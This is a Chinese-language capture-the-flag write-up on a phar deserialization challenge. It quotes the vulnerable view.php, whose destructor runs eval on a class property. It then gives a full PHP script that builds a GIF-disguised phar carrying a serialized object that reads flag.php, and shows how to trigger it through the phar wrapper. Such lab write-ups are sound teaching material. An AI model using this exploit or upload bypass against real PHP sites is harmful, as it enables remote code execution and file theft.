考点:phar反序列化
题目上来是一个上传,正常上传文件后会根据每个用户的IP,MD5加密生成一个文件夹,将内容保存,同时还存在一个view按钮,可查看上传的文件

在upload处抓包,可以看到有参数传递,在一切毫无头绪时,考虑文件包含漏洞,读取到upload.php和view.php,这里贴出view.php的内容upload.php并没有特别的考点在这里
<!DOCTYPE html> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>查看图片</title> <link type = "text/css" rel = "stylesheet" href = "css/style.css"> </head> <body> <script type = "text/javascript" color = "0,0,255" opacity = '0.7' zIndex = "-2" count = "99" src = 'js/canvas-nest.min.js'></script> <!-- 动态背景 --> <?php #include_once "flag.php"; error_reporting(0); class View { public $dir; private $cmd; function __construct() { $this->dir = 'upload/'.md5($_SERVER['REMOTE_ADDR']).'/'; $this->cmd = 'echo "<div style=\"text-align: center;position: absolute;left: 0;bottom: 0;width: 100%;height: 30px;\">Powered by: xxx</div>";'; if(!is_dir($this->dir)) { mkdir($this->dir, 0777, true); } } function get_file_list() { $file = scandir('.'); return $file; } function show_file_list() { $file = $this->get_file_list(); for ($i = 2; $i < sizeof($file); $i++) { echo "<p align=\"center\" style=\"font-weight: bold;\">[".strval($i - 1)."] $file[$i] </p>"; } } function show_img($file_name) { $name = $file_name; $width = getimagesize($name)[0]; $height = getimagesize($name)[1]; $times = $width / 200; $width /= $times; $height /= $times; $template = "<img style=\"clear: both;display: block;margin: auto;\" src=\"$this->dir$name\" alt=\"$file_name\" width = \"$width\" height = \"$height\">"; echo $template; } function delete_img($file_name) { $name = $file_name; if (file_exists($name)) { @unlink($name); if(!file_exists($name)) { echo "<p align=\"center\" style=\"font-weight: bold;\">成功删除! 3s后跳转</p>"; header("refresh:3;url=view.php"); } else { echo "Can not delete!"; exit; } } else { echo "<p align=\"center\" style=\"font-weight: bold;\">找不到这个文件! </p>"; } } function __destruct() { eval($this->cmd); } } $ins = new View(); chdir($ins->dir); echo "<h3>当前目录为 " . $ins->dir . "</h3>"; $ins->show_file_list(); if (isset($_POST['show'])) { $file_name = $_POST['show']; $ins->show_img($file_name); } if (isset($_POST['delete'])) { $file_name = $_POST['delete']; $ins->delete_img($file_name); } unset($ins); ?> </body> </html>
与我预想的反序列化不同,不存在unserialize函数,但存在eval函数,可对cmd变量构造恶意代码。同时题目还是一个文件上传,那么就可以联想到通过phar文件进行反序列化重构cmd变量的值,上传phar文件,最后通过show或者delete传参利用phar协议触发phar文件,使构造的序列化代码进行反序列化
构造:
<?php class View { public $dir = ''; private $cmd = 'phpinfo();chdir("/var/www/html");readfile("flag.php");'; } $o = new View(); unlink("phar.phar");//删除原有存在的 $phar = new Phar("phar.phar");//生成 $phar->startBuffering(); $phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); //设置stub,加入GIF头绕过内容验证 $phar->setMetadata($o); //加入序列化内容 $phar->addFromString("test.txt", "test"); //添加要压缩的文件 $phar->stopBuffering(); ?>
代码编写也很简单,很多都是套路,dir变量处可以什么都不写,也不会有影响,phar的学习可以参看https://paper.seebug.org/680/#2-a-manifest-describing-the-contents,生成了phar文件后进行上传,在view.php页面利用hacker bar传递show或delete参数,触发phar文件,这样在类的方法中运行完后会触发__destruct魔术方法执行eval函数。

最后在源代码最下方找到flag